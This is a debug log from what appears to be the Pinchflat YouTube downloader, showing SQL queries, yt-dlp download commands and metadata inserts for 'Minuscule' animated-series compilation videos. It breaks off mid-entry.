db=0.1ms idle=3.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [102593] 22:08:07.583 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:07.583 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:07.583 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:07.584 [debug] Running yt-dlp command for action: get_downloadable_status 22:08:07.584 [debug] QUERY OK source="settings" db=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:07.585 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:07.585 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:07.585 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=SCmQ8PfbcOQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/11/99/1199e93b83e00b7361710762bc6d1fffda375bbaff3b8ebaf3132e1406d3888c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:08:08.575 [debug] Current batch of media processed. Will check again in 1000ms 22:08:09.576 [debug] Current batch of media processed. Will check again in 1000ms 22:08:10.577 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mad fly | S03E08\n00:01:29 | The Magic Fly | S03E15\n00:02:58 | At Full Speed | S03E22\n00:04:19 | He Who Laughs Last, laughs Longest | S03E12\n00:05:48 | Pea supper | S03E01\n00:07:17 | Webrizon | S03E02\n00:08:46 | A Christmas Apple | S03E04\n00:10:15 | Like A Cannon Ball | S03E03\n00:11:44 | A Pea In The Hand Is Worth... | S03E05\n00:13:17 | Glue | S03E06\n00:14:54 | The Wicked Web | S03E07\n00:16:23 | The Cruel Cow in The Meadow | S03E09\n00:17:53 | Need for Speed | S03E10\n00:19:22 | Sow The Wind And Reap The Storm | S03E11\n00:21:00 | Fly Swatter | S03E13\n00:22:29 | Mosquito Net | S03E14\n00:23:58 | The Doughnut | S03E16\n00:25:31 | Ant On The Rocks | S03E17\n00:27:02 | The Artist | S03E18\n00:28:47 | Telecanetic | S03E19\n00:30:16 | Chocolate Fly | S03E23\n00:31:45 | A Dream Of Speed | S03E24\n00:33:14 | The Sled and the Ant | S03E25\n00:34:43 | Blunder | S03E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#flies #spider #race #toys #Magic #Spider #Fly #Winner #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2203, "filename" => "/downloads/Miniscule Season 2/2025-11-20 Mad fly 🚕 Minuscule Marathon✨ 50' Compilation/Mad fly 🚕 Minuscule Marathon✨ 50' Compilation [BdpBsxt6z5I].mp4", "id" => "BdpBsxt6z5I", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=BdpBsxt6z5I", "playlist_index" => 9, "timestamp" => 1763636525, "title" => "Mad fly 🚕 Minuscule Marathon✨ 50' Compilation", "upload_date" => "20251120"} 22:08:10.578 [debug] QUERY OK source="sources" db=0.4ms idle=1406.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:10.579 [debug] QUERY OK source="sources" db=0.3ms idle=1407.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:10.580 [debug] QUERY OK source="media_items" db=1.0ms idle=1408.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-20 11:02:05Z], 5] 22:08:10.638 [debug] QUERY OK source="media_items" db=56.6ms idle=1071.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mad fly | S03E08\n00:01:29 | The Magic Fly | S03E15\n00:02:58 | At Full Speed | S03E22\n00:04:19 | He Who Laughs Last, laughs Longest | S03E12\n00:05:48 | Pea supper | S03E01\n00:07:17 | Webrizon | S03E02\n00:08:46 | A Christmas Apple | S03E04\n00:10:15 | Like A Cannon Ball | S03E03\n00:11:44 | A Pea In The Hand Is Worth... | S03E05\n00:13:17 | Glue | S03E06\n00:14:54 | The Wicked Web | S03E07\n00:16:23 | The Cruel Cow in The Meadow | S03E09\n00:17:53 | Need for Speed | S03E10\n00:19:22 | Sow The Wind And Reap The Storm | S03E11\n00:21:00 | Fly Swatter | S03E13\n00:22:29 | Mosquito Net | S03E14\n00:23:58 | The Doughnut | S03E16\n00:25:31 | Ant On The Rocks | S03E17\n00:27:02 | The Artist | S03E18\n00:28:47 | Telecanetic | S03E19\n00:30:16 | Chocolate Fly | S03E23\n00:31:45 | A Dream Of Speed | S03E24\n00:33:14 | The Sled and the Ant | S03E25\n00:34:43 | Blunder | S03E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#flies #spider #race #toys #Magic #Spider #Fly #Winner #Minuscule #nature #insects #ladybugs #animatedseries", "Mad fly 🚕 Minuscule Marathon✨ 50' Compilation", "04699cdc-1d07-4f4d-b7d3-6747800a37f9", "BdpBsxt6z5I", 2203, false, 5, "https://www.youtube.com/watch?v=BdpBsxt6z5I", 9, "/downloads/Miniscule Season 2/2025-11-20 Mad fly 🚕 Minuscule Marathon✨ 50' Compilation/Mad fly 🚕 Minuscule Marathon✨ 50' Compilation [BdpBsxt6z5I].mp4", false, false, false, [], 1, ~U[2025-11-20 11:02:05Z], ~U[2025-12-12 05:08:10Z], ~U[2025-12-12 05:08:10Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mad fly | S03E08\n00:01:29 | The Magic Fly | S03E15\n00:02:58 | At Full Speed | S03E22\n00:04:19 | He Who Laughs Last, laughs Longest | S03E12\n00:05:48 | Pea supper | S03E01\n00:07:17 | Webrizon | S03E02\n00:08:46 | A Christmas Apple | S03E04\n00:10:15 | Like A Cannon Ball | S03E03\n00:11:44 | A Pea In The Hand Is Worth... | S03E05\n00:13:17 | Glue | S03E06\n00:14:54 | The Wicked Web | S03E07\n00:16:23 | The Cruel Cow in The Meadow | S03E09\n00:17:53 | Need for Speed | S03E10\n00:19:22 | Sow The Wind And Reap The Storm | S03E11\n00:21:00 | Fly Swatter | S03E13\n00:22:29 | Mosquito Net | S03E14\n00:23:58 | The Doughnut | S03E16\n00:25:31 | Ant On The Rocks | S03E17\n00:27:02 | The Artist | S03E18\n00:28:47 | Telecanetic | S03E19\n00:30:16 | Chocolate Fly | S03E23\n00:31:45 | A Dream Of Speed | S03E24\n00:33:14 | The Sled and the Ant | S03E25\n00:34:43 | Blunder | S03E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#flies #spider #race #toys #Magic #Spider #Fly #Winner #Minuscule #nature #insects #ladybugs #animatedseries", "Mad fly 🚕 Minuscule Marathon✨ 50' Compilation", "BdpBsxt6z5I", 2203, false, 5, "https://www.youtube.com/watch?v=BdpBsxt6z5I", "/downloads/Miniscule Season 2/2025-11-20 Mad fly 🚕 Minuscule Marathon✨ 50' Compilation/Mad fly 🚕 Minuscule Marathon✨ 50' Compilation [BdpBsxt6z5I].mp4", false, ~U[2025-11-20 11:02:05Z]] 22:08:10.639 [debug] QUERY OK source="sources" db=0.4ms idle=126.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:10.640 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=61.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:10.641 [debug] QUERY OK source="media_items" db=0.5ms idle=61.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [101230] 22:08:10.642 [debug] Current batch of media processed. Will check again in 1000ms 22:08:11.643 [debug] Current batch of media processed. Will check again in 1000ms 22:08:12.644 [debug] Current batch of media processed. Will check again in 1000ms 22:08:13.645 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Pollution | S02E60\n00:03:45 | Zzz zzz | S02E44\n00:07:16 | Sunburn | S02E40\n00:10:40 | The Annoying Neighbor | S02E28\n00:14:16 | Mission : BBQ | S02E09\n00:18:02 | Acrobatics | S02E16\n00:21:47 | The Mosquito Of The Caribbean | S02E57\n00:25:33 | Trapped | S02E64\n00:29:15 | Zzz In The Metro | S02E53\n00:32:51 | Labyrinth | S02E69\n00:36:36 | The Monster Of The Haunted Swamp | S02E37\n00:40:07 | Gather More to Pollinate More | S02E32\n00:43:52 | Microzilla | S02E07\n00:47:38 | Honey Fly | S02E08\n00:51:28 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Pollution #Mosquito #City #Noise #mosquito #bedroom #sleeping #challenge #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3337, "filename" => "/downloads/Miniscule Season 2/2025-11-25 Pollution | Minuscule | 70' Compilation/Pollution | Minuscule | 70' Compilation [W4uAWoVZClM].mp4", "id" => "W4uAWoVZClM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=W4uAWoVZClM", "playlist_index" => 10, "timestamp" => 1764054027, "title" => "Pollution | Minuscule | 70' Compilation", "upload_date" => "20251125"} 22:08:13.646 [debug] QUERY OK source="sources" db=0.4ms idle=1474.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:13.647 [debug] QUERY OK source="sources" db=0.3ms idle=1475.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:13.648 [debug] QUERY OK source="media_items" db=1.0ms idle=1476.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-25 07:00:27Z], 5] 22:08:13.820 [debug] QUERY OK source="media_items" db=170.8ms idle=1133.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Pollution | S02E60\n00:03:45 | Zzz zzz | S02E44\n00:07:16 | Sunburn | S02E40\n00:10:40 | The Annoying Neighbor | S02E28\n00:14:16 | Mission : BBQ | S02E09\n00:18:02 | Acrobatics | S02E16\n00:21:47 | The Mosquito Of The Caribbean | S02E57\n00:25:33 | Trapped | S02E64\n00:29:15 | Zzz In The Metro | S02E53\n00:32:51 | Labyrinth | S02E69\n00:36:36 | The Monster Of The Haunted Swamp | S02E37\n00:40:07 | Gather More to Pollinate More | S02E32\n00:43:52 | Microzilla | S02E07\n00:47:38 | Honey Fly | S02E08\n00:51:28 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Pollution #Mosquito #City #Noise #mosquito #bedroom #sleeping #challenge #Minuscule #nature #insects #ladybugs #animatedseries", "Pollution | Minuscule | 70' Compilation", "7697e865-c331-4157-ab4c-5dc070bd1095", "W4uAWoVZClM", 3337, false, 5, "https://www.youtube.com/watch?v=W4uAWoVZClM", 10, "/downloads/Miniscule Season 2/2025-11-25 Pollution | Minuscule | 70' Compilation/Pollution | Minuscule | 70' Compilation [W4uAWoVZClM].mp4", false, false, false, [], 1, ~U[2025-11-25 07:00:27Z], ~U[2025-12-12 05:08:13Z], ~U[2025-12-12 05:08:13Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Pollution | S02E60\n00:03:45 | Zzz zzz | S02E44\n00:07:16 | Sunburn | S02E40\n00:10:40 | The Annoying Neighbor | S02E28\n00:14:16 | Mission : BBQ | S02E09\n00:18:02 | Acrobatics | S02E16\n00:21:47 | The Mosquito Of The Caribbean | S02E57\n00:25:33 | Trapped | S02E64\n00:29:15 | Zzz In The Metro | S02E53\n00:32:51 | Labyrinth | S02E69\n00:36:36 | The Monster Of The Haunted Swamp | S02E37\n00:40:07 | Gather More to Pollinate More | S02E32\n00:43:52 | Microzilla | S02E07\n00:47:38 | Honey Fly | S02E08\n00:51:28 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Pollution #Mosquito #City #Noise #mosquito #bedroom #sleeping #challenge #Minuscule #nature #insects #ladybugs #animatedseries", "Pollution | Minuscule | 70' Compilation", "W4uAWoVZClM", 3337, false, 5, "https://www.youtube.com/watch?v=W4uAWoVZClM", "/downloads/Miniscule Season 2/2025-11-25 Pollution | Minuscule | 70' Compilation/Pollution | Minuscule | 70' Compilation [W4uAWoVZClM].mp4", false, ~U[2025-11-25 07:00:27Z]] 22:08:13.821 [debug] QUERY OK source="sources" db=0.3ms idle=302.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:13.822 [debug] QUERY OK source="media_profiles" db=0.4ms idle=175.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:13.823 [debug] QUERY OK source="media_items" db=0.3ms idle=175.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [101673] 22:08:13.823 [debug] Current batch of media processed. Will check again in 1000ms 22:08:14.063 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=SCmQ8PfbcOQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/11/99/1199e93b83e00b7361710762bc6d1fffda375bbaff3b8ebaf3132e1406d3888c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:08:14.064 [debug] Running yt-dlp command for action: download 22:08:14.065 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=415.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:14.065 [debug] QUERY OK source="settings" db=0.2ms idle=245.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:14.066 [debug] QUERY OK source="settings" db=0.2ms idle=244.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:14.066 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=SCmQ8PfbcOQ --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Miniscule Season 2/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Miniscule Season 2/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/db/29/db29e43b632346d2f0286e96d781d32ea4850d3b86d5c2ac928048d9da6d9f5f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:08:14.824 [debug] Current batch of media processed. Will check again in 1000ms 22:08:15.825 [debug] Current batch of media processed. Will check again in 1000ms 22:08:16.826 [debug] Current batch of media processed. Will check again in 1000ms 22:08:17.827 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Gather More to Pollinate More | S02E32\n00:03:45 | The Chocolate Chase! | S02E19\n00:07:31 | Fly Hunting | S02E24\n00:11:04 | Turbo speed | S02E58\n00:14:29 | The Annoying Neighbor | S02E28\n00:18:05 | Away all boarders! | S02E41\n00:21:47 | Trapped | S02E64\n00:25:30 | The Grocery Store Incident | S02E39\n00:29:00 | Mission : BBQ | S02E09\n00:32:46 | The Butterfly Effect | S02E23\n00:36:08 | At Full Speed | S02E27\n00:39:52 